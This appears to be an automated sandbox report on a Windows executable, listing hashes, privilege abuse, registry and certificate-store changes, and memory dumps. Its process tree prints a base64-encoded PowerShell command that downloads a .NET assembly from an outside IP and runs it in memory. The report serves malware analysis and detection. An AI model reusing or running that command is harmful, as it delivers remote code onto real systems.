e7990b55b6db34aef4c6ef60351fbc3f19c4a451106b33aeaca4b68a674b84d1

Analysis

max time kernel
127s
max time network
132s
platform
windows10-2004_x64
resource
win10v2004-20230915-en
resource tags

arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
submitted
07/10/2023, 11:46

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General

Target

bftest2.exe
Size

903KB
MD5

20858fa8a2e9918c857206f98398a151
SHA1

562a67caff70d05eb264a0e39bed80a36816a036
SHA256

e7990b55b6db34aef4c6ef60351fbc3f19c4a451106b33aeaca4b68a674b84d1
SHA512

936f4438ae97d707c4110e7d90a92d1fe3a6018cf4039b894e4a2d30e9f3f3d268ea3d6687e97630b28972abcd4ac0343b34da57d0bd42b0d90d5d01311518a8
SSDEEP

24576:FSmvJ9Y5G1FOPjWcjL8TxNYqEv0rODHZ/lpWUmJKfplz7GknpD:FSmh9Y56OaccTtsWIZ/GUm0fpB7

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
17	4176	powershell.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe

Modifies data under HKEY_USERS 47 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4176	powershell.exe
4176	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeImpersonatePrivilege	2204	bftest2.exe
Token: SeAssignPrimaryTokenPrivilege	2204	bftest2.exe
Token: SeIncreaseQuotaPrivilege	2204	bftest2.exe
Token: SeDebugPrivilege	4176	powershell.exe

C:\Users\Admin\AppData\Local\Temp\bftest2.exe
"C:\Users\Admin\AppData\Local\Temp\bftest2.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2204
- \??\c:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "c:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e WwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAoAGkAdwByACAALQB1AHIAaQAgAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADUAMwAuADcANgAuADEANwA2AC8AYgBmAHQAZQBzAHQAMwAuAHQAeAB0ACkALgBjAG8AbgB0AGUAbgB0ACkAKQAuAEUAbgB0AHIAeQBQAG8AaQBuAHQALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsAEAAKAAsACgAWwBzAHQAcgBpAG4AZwBbAF0AXQAoACIALQBnAHIAbwB1AHAAPQBzAHkAcwB0AGUAbQAgAC0AbwB1AHQAZgBpAGwAZQA9AEMAOgBcAHQAZQBtAHAAXABiAGYAdABlAHMAdAAuAHQAeAB0ACIAKQApACkAKQAKAA==
  2⤵
  - Blocklisted process makes network request
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4176

Network

MITRE ATT&CK Matrix

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Downloads

C:\Windows\Temp\__PSScriptPolicyTest_oiwn5yb3.wkw.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2204-1-0x00000246E2050000-0x00000246E2302000-memory.dmp

Filesize
2.7MB

Download
memory/2204-3-0x00000246E2040000-0x00000246E2050000-memory.dmp

Filesize
64KB

Download
memory/2204-0-0x00000246C7A80000-0x00000246C7B66000-memory.dmp

Filesize
920KB

Download
memory/2204-5-0x00007FF94D130000-0x00007FF94DBF1000-memory.dmp

Filesize
10.8MB

Download
memory/2204-2-0x00007FF94D130000-0x00007FF94DBF1000-memory.dmp

Filesize
10.8MB

Download
memory/4176-15-0x0000016FB74E0000-0x0000016FB7502000-memory.dmp

Filesize
136KB

Download
memory/4176-16-0x00007FF94CEF0000-0x00007FF94D9B1000-memory.dmp

Filesize
10.8MB

Download
memory/4176-17-0x0000016FB74D0000-0x0000016FB74E0000-memory.dmp

Filesize
64KB

Download
memory/4176-18-0x0000016FB74D0000-0x0000016FB74E0000-memory.dmp

Filesize
64KB

Download
memory/4176-19-0x0000016FB74D0000-0x0000016FB74E0000-memory.dmp

Filesize
64KB

Download
memory/4176-20-0x0000016FD2370000-0x0000016FD2B16000-memory.dmp

Filesize
7.6MB

Download
memory/4176-22-0x0000016FD1E90000-0x0000016FD1F2A000-memory.dmp

Filesize
616KB

Download
memory/4176-25-0x00007FF94CEF0000-0x00007FF94D9B1000-memory.dmp

Filesize
10.8MB

Download